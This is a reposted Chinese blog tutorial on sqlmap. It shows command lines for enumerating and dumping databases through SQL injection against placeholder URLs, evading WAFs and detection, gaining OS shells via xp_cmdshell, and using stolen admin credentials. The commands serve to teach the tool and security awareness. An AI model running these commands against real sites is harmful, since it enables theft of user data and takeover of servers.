欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  科技

sqlmap 入门级使用(简易教程)

程序员文章站 2022-08-26 18:20:32
sqlmap 入门级使用(简易教程)...

虽然我用过mssql和oracle,但表示只是用过,不是很熟,所以本文大多数都在说mysql数据库。

一、数据库

数据库管理系统  ->  数据库(可能存在多个) ->   表(一般一个数据库中都存储多个表) -> 字段  (一般一个表中都有多个字段)

也就是说:一般都是一对多的关系,这里就不深究了,我们先来看看表(tables)的结构。

  sqlmap 入门级使用(简易教程)

这是从phpmyadmin中截取的一张图片,看起来是不是有点像excel 表格呢?

数据库中一般都会存储很多数据,包括我们的用户名和密码,所以很多黑客就喜欢搞数据库咯。

二、sqlmap 枚举数据库

首先进入终端,如果是linux,就是terminal,如果是windows,就是cmd。

当然,进行sql注入之前,你先要找到注入点,怎么找?google什么的,貌似还有些工具,我这里只是为了记录sqlmap的使用过程,不做深入。

1、枚举数据库

sqlmap 入门级使用(简易教程)

参数-u 表示url,也就是注入点了,--dbs表示枚举数据库,说枚举太官方了,我们不如说:请sqlmap列出所有的数据库名。

2、枚举表  tables

sqlmap 入门级使用(简易教程)

使用-d 参数,把刚才枚举出来的数据库写到后面。--tables表示枚举这个数据库下面的表。

结果为:

sqlmap 入门级使用(简易教程)

那么我们就可以猜测那个数据库下面是用户名和密码了,也可以把数据库dump到我们的电脑上。进行分析。

3、枚举字段

sqlmap 入门级使用(简易教程)

意思就是说,枚举这个数据库下面的这个表,下面有哪些字段。

4、数据dump

sqlmap 入门级使用(简易教程)

这个命令表示dump当前这个数据库,下面的这个表中的所有数据。

sqlmap 入门级使用(简易教程)

如果这个表中刚好是管理员的用户名和密码的话,就可以尝试进行后台扫描和登录了。


总结:注入漏洞是一个经典的漏洞,我这里只是简单描述sqlmap的使用方法,关于高级的方式请参考官方说明。

 sql注入虽然是个老是的注入攻击方式,当目前已经出现其它类型的变形注入,还是需要web开发者继续关注安全。

sqlmap简易教程–帮助文档个人使用经验解析

最近看到很多大牛发sqlmap的视频教程。

然后偶就屁颠屁颠滚去下了一个,然后尼玛,一连从头看到尾。。。。。。各种科普啊,看视频有点浪费时间。
各位别去被坑爹了,来个sqlmap 简易教程算了,何必浪费看视频的时间。
sqlmap 再牛逼也就是个python的脚本,脚本再牛逼也得有–help -hh
所以第一件事当然是滚去看帮助文档。
sqlmap -hh
我操。。。。。。。这么多英文,多少只*在心中奔腾,咋办,硬着头皮看呗,有些人头皮硬不了咋办,简单,来,哥教你简单的
注入分法不同,种类不同,来个简单的分类:
1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” 
2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”
3.cookie类注入: sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2
好,区分完毕再来后续的
需要数据库好:–dbs
得到数据库名称xxx,需要表: -d xxx –tables
得到表名xxxx,需要段:-d xxx -t xxxx –columns
得到段内有admin,password,需要值:-d xxx -t xxxx -c “admin,password” –dump
那么我们来理解一下,-d -t -c 是干吗的,当然就是知道其名称,指定使用其。
–dbs –tables –columns 是干吗的,当然就是不知道名称,列出来呗
–dump 那自然就是字面意思,类似于导出数据的行为
其实注入有了上面这几个命令,妥妥的够用了,不过还需要绕waf –tamper=”"
注入被识别出来是工具,断开咋办–user-agent=”"
再多牛逼的功能都是慢慢积累出来的,别想一口吃成胖子

好,跑数据库就是这么简单,于是呢来一个稍微有点干货的例子:
http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷贝post数据,很麻烦,我想让sqlmap自动跑post注入
sqlmap -u “http://www.xxx.com/login.asp” –forms
很好,上面的命令成功的帮我跑了post注入,并且找到了post的注入点jjj=123
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs
于是我用上面的命令看看数据库
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba
顺便看看当前用户是不是dba
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a 
用了上面的命令 -a能得到什么呢:自己去看帮助吧。
帮你筛选了一下,-a下面的那些命令是用来看用户,看主机,看权限的。
后来呢,我发现权限还是挺高的,同时呢,我跑出来了数据库名称kkk
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -d kkk –tables
同时我找到了网站路径,然后我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以执行系统命令,同时还发现了牛逼的xpcmdshell –os-shell
以及很多牛逼的文件操作命令–file-xx 这些命令在需要用的时候使用就是了,会给你带来意想不到的惊喜
与此同时,我发现tables里面没有我想要的东西,我也找不到合适的内容,咋办呢,心一横,我决定把所有的数据库内容跑出来自己找,于是我这么做:
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -d kkk –dump-all
然后牛逼的sqlmap就开始跑啊跑,然后紧接着我的蛋就碎了,尼玛,sqlmap一会就问你一次要不要破解密码,要不要这个,要不要那个,我和我的小朋友们都想擦你妹夫,功夫不负有心人,我又看见了一个命令 –batch 可以自动选择sqlmap默认选项
于是,我可以和我的小朋友们玩耍去了,再也不用看着sqlmap拖库了。

总结下来,帮助文档还是很重要的,多看看,总会有些收获:
为了避免各位看英文看到吐,大概总结下:
target: 字面意思,目标,那么就是确定目标的
request: 字面意思,请求,就是定义请求内容的,比如post数据,http头,cookie注入,http头污染等等
optimization:字面意思,调节性能,等等
injection: 字面意思,注入的设置内容基本在这里,比如指定注入点,指定db,指定系统,等等
detection:
基本就是用在确认注入范围,寻找注入点区域,这些
technique:
基本用在确定注入手段,以及攻击方式
fingerprint:
基本用在指纹识别,用的很少
enumeration:
枚举信息,主要用在注入中,很重要,很常用
brute force:
用来爆破,其实主要是枚举tables columns用的
user-defined function injection:
现在只有udf提权,以及指定一些自己定义的sqlmap脚本用,高端使用,求大牛指点
file system access
主要是文件读取,文件写入
operating system access 
主要用在对系统操作,例如os-shell 以及 后续的连接metasploit 实现后渗透攻击
windows registry access
基本就是注册表操作了
general
字面意思,综合的内容,一些特殊的功能实现,我在这里找到了crawl batch这些非常好用的参数
miscellaneous
目测高端应用,还没怎么用过,求大神指教
如上面总结的,大概红字就是常用的命令,剩下的不常用里面也有很多很不错,在特殊情况下适用的内容,反正本贴科普而已。

字有点多,想看的菜鸟朋友认真看下来应该会有些收获,菜鸟们如果有什么其他的奇技淫巧,还希望分享1、2 共同进步!!

相关标签: sqlmap 入门级